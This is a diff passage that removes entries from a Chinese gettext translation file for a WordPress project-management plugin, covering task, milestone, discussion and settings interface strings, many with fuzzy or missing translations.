-#: texts/activities.php:238 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a file, %2$s" -msgstr "%s更新了%s的评论" - -#: texts/activities.php:242 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a file, %2$s." -msgstr "%s更新了%s的评论" - -#: texts/activities.php:246 -msgid "%1$s has duplicated project from , %2$s." -msgstr "" - -#: texts/resource_types.php:5 -#, fuzzy -#| msgid "Project" -msgid "project" -msgstr "项目" - -#: texts/resource_types.php:8 -msgid "discussion board" -msgstr "" - -#: texts/resource_types.php:11 -#, fuzzy -#| msgid "Task List" -msgid "task list" -msgstr "任务列表" - -#: texts/resource_types.php:14 -msgid "task" -msgstr "" - -#: texts/resource_types.php:17 -#, fuzzy -#| msgid "Milestone" -msgid "milestone" -msgstr "里程碑" - -#: texts/resource_types.php:20 -#, fuzzy -msgid "comment" -msgstr "1条评论" - -#: texts/resource_types.php:23 -msgid "file" -msgstr "" - -#: texts/success_messages.php:6 -msgid "A project has been created successfully." -msgstr "" - -#: texts/success_messages.php:9 -msgid "A project has been updated successfully." -msgstr "" - -#: texts/success_messages.php:12 -msgid "A project has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:16 -msgid "A category has been created successfully." -msgstr "" - -#: texts/success_messages.php:19 -msgid "A category has been updated successfully." -msgstr "" - -#: texts/success_messages.php:22 -msgid "A category has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:25 -msgid "All the selected categories has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:29 -msgid "Successfully commented." -msgstr "" - -#: texts/success_messages.php:32 -msgid "A comment has been updated successfully." -msgstr "" - -#: texts/success_messages.php:35 -msgid "A comment has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:39 -msgid "A new discussion has been created successfully." -msgstr "" - -#: texts/success_messages.php:42 -msgid "A discussion has been updated successfully." -msgstr "" - -#: texts/success_messages.php:45 -msgid "A discussion has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:49 -msgid "A new milestone has been created successfully." -msgstr "" - -#: texts/success_messages.php:52 -msgid "A milestone has been updated successfully." -msgstr "" - -#: texts/success_messages.php:55 -msgid "A milestone has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:59 -msgid "A new task list has been created successfully." -msgstr "" - -#: texts/success_messages.php:62 -msgid "Task list has been updated successfully." -msgstr "" - -#: texts/success_messages.php:65 -msgid "Task list has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:69 -msgid "A new task has been created successfully." -msgstr "" - -#: texts/success_messages.php:72 -msgid "A Task has been updated successfully." -msgstr "" - -#: texts/success_messages.php:75 -msgid "The task has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:78 -msgid "Settings has been changed successfully." -msgstr "" - -#: texts/success_messages.php:81 -#, fuzzy -#| msgid "No comments found" -msgid "No element found" -msgstr "没有找到评论" - -#: texts/success_messages.php:84 -#, fuzzy -#| msgid "No Project Found" -msgid "No Project found" -msgstr "没有项目" - -#: texts/success_messages.php:87 -msgid "Task marked as done" -msgstr "" - -#: texts/success_messages.php:90 -msgid "Task reopened" -msgstr "" - -#: vendor/a5hleyrich/wp-background-processing/classes/wp-background-process.php:425 -msgid "Every %d Minutes" -msgstr "" - -#: views/assets/js/library.js:887 views/assets/js/library.js:1099 -#: views/assets/js/library.js:4869 views/assets/js/pm.js:887 -#: views/assets/js/pm.js:1099 views/assets/js/pm.js:5443 -#: views/assets/js/pm.js:5954 views/assets/js/pm.js:9713 -#: views/assets/js/pm.js:14773 -#: views/assets/src/components/categories/categories.vue:255 -#: views/assets/src/components/project-discussions/mixin.js:507 -#: views/assets/src/components/project-task-lists/list-comments.vue:111 -#: views/assets/src/components/project-task-lists/mixin.js:382 -#: views/assets/src/components/project-task-lists/mixin.js:602 -#: views/assets/src/components/project-task-lists/task-comments.vue:131 -#, fuzzy -#| msgid "Are you sure?" -msgid "Are you sure!" -msgstr "确定?" - -#: views/assets/js/library.js:3158 views/assets/js/pm.js:3732 -#: views/assets/src/helpers/mixin/mixin.js:703 -#: views/assets/vendor/mixin/mixin.js:636 -msgid "Are you sure to delete this project?" -msgstr "确定删除此项目?" - -#: views/assets/js/library.js:3841 views/assets/js/pm.js:4415 -#: views/assets/src/components/common/text-editor.vue:37 -msgid "Write a comment..." -msgstr "" - -#: views/assets/js/library.js:4169 views/assets/js/pm.js:4743 -#: views/assets/src/components/project-task-lists/single-task.vue:295 -msgid "Update Description" -msgstr "" - -#: views/assets/js/library.js:4632 views/assets/js/pm.js:5206 -#: views/assets/js/pm.js:10728 views/assets/js/pm.js:14513 -#: views/assets/src/components/project-discussions/comment-form.vue:39 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:48 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:64 -msgid "Add New Comment" -msgstr "" - -#: views/assets/js/library.js:4633 views/assets/js/pm.js:5207 -#: views/assets/js/pm.js:10729 views/assets/js/pm.js:14514 -#: views/assets/src/components/project-discussions/comment-form.vue:40 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:49 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:65 -#: views/emails/html/update-comment.php:12 -msgid "Update Comment" -msgstr "" - -#: views/assets/js/library.js:5620 views/assets/js/pm.js:7465 -msgid "textarea" -msgstr "" - -#: views/assets/js/library.js:5661 views/assets/js/pm.js:7506 -#: views/assets/js/pm.js:25191 -msgid "form" -msgstr "" - -#: views/assets/js/library.js:5753 views/assets/js/library.js:5843 -#: views/assets/js/library.js:6109 views/assets/js/library.js:6887 -#: views/assets/js/library.js:6964 views/assets/js/library.js:7110 -#: views/assets/js/library.js:10361 views/assets/js/library.js:10395 -#: views/assets/js/library.js:10440 views/assets/js/library.js:10498 -#: views/assets/js/library.js:10699 views/assets/js/library.js:10757 -#: views/assets/js/pm.js:7598 views/assets/js/pm.js:7688 -#: views/assets/js/pm.js:7954 views/assets/js/pm.js:8732 -#: views/assets/js/pm.js:8809 views/assets/js/pm.js:8955 -#: views/assets/js/pm.js:23547 views/assets/js/pm.js:23616 -#: views/assets/js/pm.js:23915 views/assets/js/pm.js:24205 -#: views/assets/js/pm.js:24239 views/assets/js/pm.js:24446 -#: views/assets/js/pm.js:24569 views/assets/js/pm.js:24729 -#: views/assets/js/pm.js:24763 views/assets/js/pm.js:25132 -#: views/assets/js/pm.js:25346 views/assets/js/pm.js:25862 -#: views/assets/js/pm.js:25896 views/assets/js/pm.js:25987 -#: views/assets/js/pm.js:26537 views/assets/js/pm.js:26640 -#: views/assets/js/pm.js:26731 views/assets/js/pm.js:26795 -#: views/assets/js/pm.js:26886 views/assets/js/pm.js:27157 -#: views/assets/js/pm.js:27200 views/assets/js/pm.js:27551 -#: views/assets/js/pm.js:27638 views/assets/js/pm.js:27777 -#: views/assets/js/pm.js:28558 views/assets/js/pm.js:28592 -#: views/assets/js/pm.js:28674 views/assets/js/pm.js:29193 -#: views/assets/js/pm.js:29234 views/assets/js/pm.js:29675 -#: views/assets/js/pm.js:29935 views/assets/js/pm.js:29969 -#: views/assets/js/pm.js:30251 views/assets/js/pm.js:30296 -#: views/assets/js/pm.js:30476 views/assets/js/pm.js:30954 -#: views/assets/js/pm.js:31165 views/assets/js/pm.js:31200 -#: views/assets/js/pm.js:31386 views/assets/js/pm.js:31477 -#: views/assets/js/pm.js:31586 views/assets/js/pm.js:31651 -#: views/assets/js/pm.js:31962 views/assets/js/pm.js:32460 -#: views/assets/js/pm.js:32830 views/assets/js/pm.js:33075 -#: views/assets/js/pm.js:33109 views/assets/js/pm.js:33209 -#: views/assets/js/pm.js:33376 views/assets/js/pm.js:33446 -#: views/assets/js/pm.js:33803 views/assets/js/pm.js:33846 -#: views/assets/js/pm.js:34055 views/assets/js/pm.js:34228 -#: views/assets/js/pm.js:34332 views/assets/js/pm.js:34372 -msgid "div" -msgstr "" - -#: views/assets/js/library.js:6909 views/assets/js/pm.js:8754 -#: views/assets/js/pm.js:23525 -msgid "span" -msgstr "" - -#: views/assets/js/library.js:6937 views/assets/js/pm.js:8782 -#: views/assets/js/pm.js:24537 views/assets/js/pm.js:26571 -#: views/assets/js/pm.js:28649 views/assets/js/pm.js:32805 -#: views/assets/js/pm.js:33414 -msgid "input" -msgstr "" - -#: views/assets/js/pm.js:2326 -#: views/assets/src/components/project-milestones/mixin.js:316 -#, fuzzy -#| msgid "Are you sure to delete this message?" -msgid "Are you sure! Want to delete this milestones?" -msgstr "确定要删除此消息?" - -#: views/assets/js/pm.js:5999 -#: views/assets/src/components/project-discussions/mixin.js:554 -#, fuzzy -#| msgid "Are you sure to delete this project?" -msgid "Are you sure to delete this comment?" -msgstr "确定删除此项目?" - -#: views/assets/js/pm.js:9674 -#: views/assets/src/components/categories/categories.vue:23 -#: views/assets/src/components/categories/categories.vue:212 -#, fuzzy -#| msgid "Add New Message" -msgid "Add New Category" -msgstr "添加新消息" - -#: views/assets/js/pm.js:9793 -#: views/assets/src/components/categories/edit-category-form.vue:42 -#, fuzzy -#| msgid "Update Message" -msgid "Update Category" -msgstr "更新消息" - -#: views/assets/js/pm.js:10288 views/assets/js/pm.js:12746 -#: views/assets/src/components/common/header.vue:81 -#: views/assets/src/components/project-lists/project-summary.vue:165 -#, fuzzy -#| msgid "Project Activity" -msgid "Project Actions" -msgstr "项目动态" - -#: views/assets/js/pm.js:10314 -#: views/assets/src/components/common/header.vue:110 -msgid "Overview" -msgstr "" - -#: views/assets/js/pm.js:10323 -#: views/assets/src/components/common/header.vue:121 -msgid "Activities" -msgstr "" - -#: views/assets/js/pm.js:10332 -#: views/assets/src/components/common/header.vue:132 -#: views/assets/src/components/project-discussions/discussions.vue:20 -#: views/assets/src/components/project-lists/project-summary.vue:32 -#: views/assets/src/components/project-milestones/completed-milestones.vue:32 -#: views/assets/src/components/project-milestones/late-milestones.vue:39 -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:42 -#: views/assets/src/components/project-overview/overview.vue:31 -msgid "Discussions" -msgstr "" - -#: views/assets/js/pm.js:10341 -#: views/assets/src/components/common/header.vue:143 -#: views/assets/src/components/project-lists/project-summary.vue:48 -#: views/assets/src/components/project-milestones/completed-milestones.vue:23 -#: views/assets/src/components/project-milestones/late-milestones.vue:30 -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:32 -#: views/assets/src/components/project-overview/overview.vue:46 -#: views/assets/src/components/project-task-lists/default-list-page.vue:4 -msgid "Task Lists" -msgstr "任务列表" - -#: views/assets/js/pm.js:10350 -#: views/assets/src/components/common/header.vue:154 -#: views/assets/src/components/project-lists/project-summary.vue:78 -#: views/assets/src/components/project-milestones/milestones.vue:19 -#: views/assets/src/components/project-overview/overview.vue:97 -msgid "Milestones" -msgstr "里程碑" - -#: views/assets/js/pm.js:10359 -#: views/assets/src/components/common/header.vue:165 -#: views/assets/src/components/project-lists/project-summary.vue:93 -#: views/assets/src/components/project-overview/overview.vue:82 -msgid "Files" -msgstr "文件" - -#: views/assets/js/pm.js:10975 -#: views/assets/src/components/categories/categories.vue:104 -#: views/assets/src/components/common/header.vue:10 -#: views/assets/src/components/project-discussions/discussions.vue:158 -#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:71 -msgid "Edit" -msgstr "编辑" - -#: views/assets/js/pm.js:10976 -#: views/assets/src/components/project-discussions/discussions.vue:159 -msgid "Delete this message" -msgstr "删除此消息" - -#: views/assets/js/pm.js:10977 -#: views/assets/src/components/project-discussions/discussions.vue:160 -msgid "Make it private" -msgstr "" - -#: views/assets/js/pm.js:11351 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:55 -msgid "Enter message title" -msgstr "输入消息标题" - -#: views/assets/js/pm.js:11352 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:56 -msgid "Add Message" -msgstr "添加消息" - -#: views/assets/js/pm.js:11353 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:57 -msgid "Update Message" -msgstr "更新消息" - -#: views/assets/js/pm.js:12089 -#: views/assets/src/components/project-lists/header.vue:69 -msgid "Start a new project" -msgstr "开始一个新项目" - -#: views/assets/js/pm.js:12190 -#: views/assets/src/components/project-lists/project-create-form.vue:87 -msgid "Name of the project" -msgstr "项目名称" - -#: views/assets/js/pm.js:12191 -#: views/assets/src/components/project-lists/project-create-form.vue:88 -msgid "Some details about the project (optional)" -msgstr "项目详情(可选)" - -#: views/assets/js/pm.js:12192 -#: views/assets/src/components/project-lists/project-create-form.vue:89 -msgid "Type 3 or more characters to search users..." -msgstr "" - -#: views/assets/js/pm.js:12193 views/assets/js/pm.js:18016 -#: views/assets/src/components/project-lists/directive.js:75 -#: views/assets/src/components/project-lists/project-create-form.vue:90 -msgid "Create a new user" -msgstr "" - -#: views/assets/js/pm.js:12194 -#: views/assets/src/components/project-lists/project-create-form.vue:91 -msgid "Add New Project" -msgstr "添加新项目" - -#: views/assets/js/pm.js:12195 -#: views/assets/src/components/project-lists/project-create-form.vue:92 -#: views/emails/html/update-project.php:9 -msgid "Update Project" -msgstr "更新项目" - -#: views/assets/js/pm.js:12536 -#: views/assets/src/components/project-lists/project-new-user-form.vue:43 -msgid "Create User" -msgstr "" - -#: views/assets/js/pm.js:12853 -#: views/assets/src/components/project-lists/project-view.vue:17 -msgid "List View" -msgstr "" - -#: views/assets/js/pm.js:12854 -#: views/assets/src/components/project-lists/project-view.vue:18 -msgid "Grid View" -msgstr "" - -#: views/assets/js/pm.js:12946 -#: views/assets/src/components/project-milestones/action-milestones.vue:33 -msgid "Edit Milestone" -msgstr "编辑里程碑" - -#: views/assets/js/pm.js:12947 -#: views/assets/src/components/project-milestones/action-milestones.vue:34 -msgid "Delete milestone" -msgstr "删除里程碑" - -#: views/assets/js/pm.js:12948 -#: views/assets/src/components/project-milestones/action-milestones.vue:35 -msgid "Mark as incomplete" -msgstr "" - -#: views/assets/js/pm.js:12949 -#: views/assets/src/components/project-milestones/action-milestones.vue:36 -msgid "Mark as complete" -msgstr "标记为已完成" - -#: views/assets/js/pm.js:13571 views/assets/js/pm.js:15563 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:44 -#: views/assets/src/components/project-task-lists/new-task-form.vue:112 -msgid "Due Date" -msgstr "" - -#: views/assets/js/pm.js:13572 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:45 -msgid "Milestone name" -msgstr "里程碑名称" - -#: views/assets/js/pm.js:13573 -#: views/assets/src/components/project-milestones/milestones.vue:24 -#: views/assets/src/components/project-milestones/milestones.vue:52 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:46 -msgid "Add Milestone" -msgstr "添加里程碑" - -#: views/assets/js/pm.js:13574 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:47 -msgid "Update Milestone" -msgstr "更新里程碑" - -#: views/assets/js/pm.js:15560 -#: views/assets/src/components/project-task-lists/new-task-form.vue:109 -msgid "Add a new task" -msgstr "" - -#: views/assets/js/pm.js:15561 -#: views/assets/src/components/project-task-lists/new-task-form.vue:110 -msgid "Add extra details about this task (optional)" -msgstr "" - -#: views/assets/js/pm.js:15562 -#: views/assets/src/components/project-task-lists/new-task-form.vue:111 -msgid "Start Date" -msgstr "" - -#: views/assets/js/pm.js:15564 -#: views/assets/src/components/project-task-lists/new-task-form.vue:113 -msgid "Select User" -msgstr "" - -#: views/assets/js/pm.js:15565 -#: views/assets/src/components/project-task-lists/new-task-form.vue:114 -msgid "Update Task" -msgstr "" - -#: views/assets/js/pm.js:15566 -#: views/assets/src/components/project-task-lists/new-task-btn.vue:3 -#: views/assets/src/components/project-task-lists/new-task-form.vue:115 -msgid "Add Task" -msgstr "添加任务" - -#: views/assets/js/pm.js:15567 -#: views/assets/src/components/project-task-lists/new-task-form.vue:116 -msgid "Estimated hour to complete the task" -msgstr "" - -#: views/assets/js/pm.js:15928 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:71 -msgid "Task list name" -msgstr "" - -#: views/assets/js/pm.js:15929 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:72 -msgid "Task list details" -msgstr "" - -#: views/assets/js/pm.js:15930 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:73 -msgid "Update List" -msgstr "更新列表" - -#: views/assets/js/pm.js:15931 -#: views/assets/src/components/project-discussions/discussions.vue:16 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:74 -msgid "Add List" -msgstr "添加列表" - -#: views/assets/js/pm.js:16368 -#: views/assets/src/components/project-task-lists/single-list.vue:121 -#, fuzzy -#| msgid "Delete milestone" -msgid "Delete List" -msgstr "删除里程碑" - -#: views/assets/js/pm.js:16699 views/assets/js/pm.js:16847 -#: views/assets/src/components/settings/email.vue:82 -#: views/assets/src/components/settings/general.vue:116 -msgid "Save Changes" -msgstr "保存修改" - -#: views/assets/js/pm.js:18015 -#: views/assets/src/components/project-lists/directive.js:74 -msgid "No users found." -msgstr "" - -#: views/assets/js/pm.js:18540 -#: views/assets/src/components/project-overview/directive.js:9 -msgid "Activity" -msgstr "动态" - -#: views/assets/js/pm.js:23425 views/assets/js/pm.js:23847 -#: views/assets/js/pm.js:31861 -msgid "ul" -msgstr "" - -#: views/assets/js/pm.js:26597 -msgid "a" -msgstr "" - -#: views/assets/js/pm.js:30932 views/assets/js/pm.js:31629 -msgid "router-view" -msgstr "" - -#: views/assets/js/pm.js:33541 -msgid "svg" -msgstr "" - -#: views/assets/js/pm.js:33711 -msgid "vue-content-loading" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:27 -#: views/assets/src/components/categories/categories.vue:74 -#: views/assets/src/components/categories/categories.vue:130 -#: views/assets/src/components/categories/edit-category-form.vue:8 -msgid "Name" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:33 -#: views/assets/src/components/categories/categories.vue:79 -#: views/assets/src/components/categories/categories.vue:136 -#: views/assets/src/components/categories/edit-category-form.vue:14 -msgid "Description" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:54 -msgid "Select bulk action" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:56 -#: views/assets/src/components/categories/categories.vue:155 -msgid "Bulk Actions" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:57 -#: views/assets/src/components/categories/categories.vue:156 -#: views/assets/src/components/common/header.vue:29 -#: views/assets/src/components/project-lists/project-create-form.vue:36 -#: views/assets/src/components/project-lists/project-summary.vue:134 -#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:74 -msgid "Delete" -msgstr "删除" - -#: views/assets/src/components/categories/categories.vue:69 -#: views/assets/src/components/common/notify-user.vue:7 -msgid "Select all" -msgstr "选择所有" - -#: views/assets/src/components/categories/edit-category-form.vue:5 -msgid "Quick Edit" -msgstr "" - -#: views/assets/src/components/categories/edit-category-form.vue:23 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:32 -#: views/assets/src/components/project-lists/project-create-form.vue:57 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:18 -#: views/assets/src/components/project-task-lists/new-task-form.vue:51 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:27 -msgid "Cancel" -msgstr "取消" - -#: views/assets/src/components/common/color-picker.vue:9 -#, fuzzy -#| msgid "Select all" -msgid "Select Color" -msgstr "选择所有" - -#: views/assets/src/components/common/color-picker.vue:25 -msgid "Clear" -msgstr "" - -#: views/assets/src/components/common/color-picker.vue:31 -msgid "Close" -msgstr "" - -#: views/assets/src/components/common/file-uploader.vue:10 -msgid "Delete File" -msgstr "删除文件" - -#: views/assets/src/components/common/file-uploader.vue:16 -msgid "To attach" -msgstr "" - -#: views/assets/src/components/common/file-uploader.vue:17 -msgid "select files" -msgstr "" - -#: views/assets/src/components/common/file-uploader.vue:18 -msgid "from your computer." -msgstr "" - -#: views/assets/src/components/common/header.vue:17 -#: views/assets/src/components/project-lists/project-header-menu.vue:13 -#: views/assets/src/components/project-task-lists/lists.vue:92 -msgid "Completed" -msgstr "已完成" - -#: views/assets/src/components/common/header.vue:18 -#: views/assets/src/components/project-task-lists/lists.vue:102 -msgid "Incomplete" -msgstr "" - -#: views/assets/src/components/common/header.vue:36 -#: views/assets/src/components/project-lists/project-summary.vue:141 -msgid "Complete" -msgstr "" - -#: views/assets/src/components/common/header.vue:39 -#: views/assets/src/components/project-lists/project-summary.vue:144 -msgid "Restore" -msgstr "" - -#: views/assets/src/components/common/notify-user.vue:4 -msgid "Notify users" -msgstr "通知用户" - -#: views/assets/src/components/project-activities/activities.vue:46 -#, fuzzy -#| msgid "Load More..." -msgid "Load More ..." -msgstr "加载更多..." - -#: views/assets/src/components/project-activities/activities.vue:48 -msgid "No activity fount" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:23 -msgid "" -"Use our built in discussion panel to create an open discussion, a group " -"discussion or a private conversation. Note that the Admin can always " -"moderate these discussions." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:27 -#: views/assets/src/components/project-discussions/discussions.vue:54 -msgid "Add New Discussion" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:32 -#: views/assets/src/components/project-discussions/discussions.vue:59 -msgid "Create a new message" -msgstr "创建新消息" - -#: views/assets/src/components/project-discussions/discussions.vue:38 -msgid "When to use Discussions?" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:41 -msgid "To discuss a work matter privately." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:42 -msgid "To exchange files privately." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:43 -msgid "To discuss in a group." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:44 -msgid "To create an open discussion visible to all." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:68 -msgid "Discussion List" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:84 -#: views/assets/src/components/project-discussions/individual-discussions.vue:32 -#: views/assets/src/components/project-task-lists/list-comments.vue:15 -#: views/assets/src/components/project-task-lists/task-comments.vue:15 -#, fuzzy -#| msgid "Body" -msgid "By" -msgstr "内容" - -#: views/assets/src/components/project-discussions/discussions.vue:88 -#: views/assets/src/components/project-discussions/individual-discussions.vue:35 -#: views/assets/src/components/project-discussions/individual-discussions.vue:77 -#: views/assets/src/components/project-task-lists/list-comments.vue:22 -#: views/assets/src/components/project-task-lists/task-comments.vue:21 -msgid "on" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:110 -#: views/assets/src/components/project-discussions/individual-discussions.vue:61 -#: views/assets/src/components/project-lists/project-summary.vue:104 -#: views/assets/src/components/project-overview/overview.vue:68 -#: views/assets/src/components/project-task-lists/lists.vue:111 -#: views/assets/src/components/project-task-lists/single-task.vue:174 -msgid "Comments" -msgstr "" - -#: views/assets/src/components/project-discussions/new-discuss-form.vue:16 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:16 -msgid "- Milestone -" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:36 -msgid "Attached to" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:38 -msgid "by" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:40 -msgid "admin" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:62 -#, fuzzy -#| msgid "No users found" -msgid "No result found!" -msgstr "没有找到用户" - -#: views/assets/src/components/project-lists/project-create-form.vue:13 -#: views/assets/src/components/project-lists/project-filter-by-category.vue:6 -msgid "- Project Category -" -msgstr "" - -#: views/assets/src/components/project-lists/project-create-form.vue:50 -msgid "Notify Co-Workers" -msgstr "" - -#: views/assets/src/components/project-lists/project-header-menu.vue:6 -msgid "Active" -msgstr "" - -#: views/assets/src/components/project-lists/project-header-menu.vue:20 -msgid "All" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-project-btn.vue:3 -#: views/emails/html/new-project.php:10 -msgid "New Project" -msgstr "新项目" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:7 -msgid "Username" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:12 -msgid "First Name" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:17 -msgid "Last Name" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:22 -msgid "Email" -msgstr "" - -#: views/assets/src/components/project-lists/project-summary.vue:4 -msgid "No projects found." -msgstr "" - -#: views/assets/src/components/project-lists/project-summary.vue:63 -#: views/assets/src/components/project-overview/overview.vue:57 -msgid "Tasks" -msgstr "任务" - -#: views/assets/src/components/project-milestones/completed-milestones.vue:3 -msgid "Completed Milestones" -msgstr "已完成里程碑" - -#: views/assets/src/components/project-milestones/completed-milestones.vue:43 -msgid "Completed on:" -msgstr "完成日期:" - -#: views/assets/src/components/project-milestones/late-milestones.vue:3 -msgid "Late Milestones" -msgstr "最新里程碑" - -#: views/assets/src/components/project-milestones/milestones.vue:21 -msgid "" -"Create a lifecycle of your projects using milestones. Time mark the " -"different stages of your project with multiple milestones and also it will " -"help the assigned people to aim for a date to complete the project according " -"to those steps." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:37 -msgid "When to use Milestones?" -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:40 -msgid "To set a target date for the project overall." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:41 -msgid "To divide a project into several development-time phases." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:42 -msgid "To coordinate projects and assigned persons timely." -msgstr "" - -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:3 -msgid "Upcoming Milestones" -msgstr "即将到来" - -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:10 -#, fuzzy -#| msgid "left" -msgid "left -" -msgstr "到期" - -#: views/assets/src/components/project-overview/overview.vue:107 -msgid "Last 30 days" -msgstr "" - -#: views/assets/src/components/project-overview/overview.vue:116 -msgid "Users" -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:6 -msgid "" -"You can list all your Tasks in a single discussion using a Task list. Use " -"these lists to divide a project into several sectors, assign co-workers and " -"check progress." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:14 -msgid "When to use Task Lists?" -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:17 -msgid "To partition a project internals." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:18 -msgid "To mark milestone points." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:19 -msgid "To assign people to tasks." -msgstr "" - -#: views/assets/src/components/project-task-lists/list-comments.vue:4 -msgid "Discuss this task list" -msgstr "" - -#: views/assets/src/components/project-task-lists/list-tasks.vue:9 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:12 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:29 -msgid "No tasks found." -msgstr "" - -#: views/assets/src/components/project-task-lists/lists.vue:77 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:14 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:32 -msgid "More Tasks" -msgstr "" - -#: views/assets/src/components/project-task-lists/new-task-list-btn.vue:7 -msgid "New Task List" -msgstr "新任务列表" - -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:5 -msgid "Incomplete Tasks" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:21 -msgid "Completed Tasks" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-list.vue:29 -msgid "Back to Task Lists" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-task.vue:203 -msgid "Shift+Enter for line break" -msgstr "" - -#: views/assets/src/components/project-task-lists/task-comments.vue:4 -msgid "Discuss this task" -msgstr "" - -#: views/assets/src/components/settings/email.vue:7 -#: views/assets/src/components/settings/header.vue:9 -msgid "E-Mail Settings" -msgstr "邮件设置" - -#: views/assets/src/components/settings/email.vue:12 -msgid "From Email" -msgstr "" - -#: views/assets/src/components/settings/email.vue:20 -msgid "Links in the Email" -msgstr "" - -#: views/assets/src/components/settings/email.vue:25 -msgid "Link to Backend" -msgstr "" - -#: views/assets/src/components/settings/email.vue:28 -msgid "" -"Select where do you want to take the user. Notification emails contain links." -msgstr "" - -#: views/assets/src/components/settings/email.vue:35 -msgid "E-Mail Type" -msgstr "邮件类型" - -#: views/assets/src/components/settings/email.vue:39 -msgid "HTML Mail" -msgstr "HTML邮件" - -#: views/assets/src/components/settings/email.vue:40 -msgid "Plain Text" -msgstr "纯文本" - -#: views/assets/src/components/settings/email.vue:46 -msgid "Send email via Bcc" -msgstr "" - -#: views/assets/src/components/settings/email.vue:52 -msgid "Enable Bcc" -msgstr "" - -#: views/assets/src/components/settings/general.vue:7 -#: views/assets/src/components/settings/header.vue:5 -msgid "General Settings" -msgstr "" - -#: views/assets/src/components/settings/general.vue:12 -msgid "File Upload Limit" -msgstr "文件上传限制" - -#: views/assets/src/components/settings/general.vue:16 -msgid "File Size in Megabytes. e.g: 2" -msgstr "" - -#: views/assets/src/components/settings/general.vue:21 -msgid "Projects Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:25 -msgid "-1 for unlimited" -msgstr "" - -#: views/assets/src/components/settings/general.vue:31 -msgid "Task Lists Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:39 -msgid "Incomplete Tasks Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:47 -msgid "Completed Tasks Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:55 -msgid "Project Managing Capability" -msgstr "" - -#: views/assets/src/components/settings/general.vue:65 -#: views/assets/src/components/settings/general.vue:81 -msgid "Select the user roles who can see and manage all projects." -msgstr "" - -#: views/assets/src/components/settings/general.vue:71 -msgid "Project Creation Capability" -msgstr "" - -#: views/emails/html/complete-task.php:12 -msgid "Task status has been changed" -msgstr "" - -#: views/emails/html/complete-task.php:25 -msgid "Changed by" -msgstr "" - -#: views/emails/html/complete-task.php:31 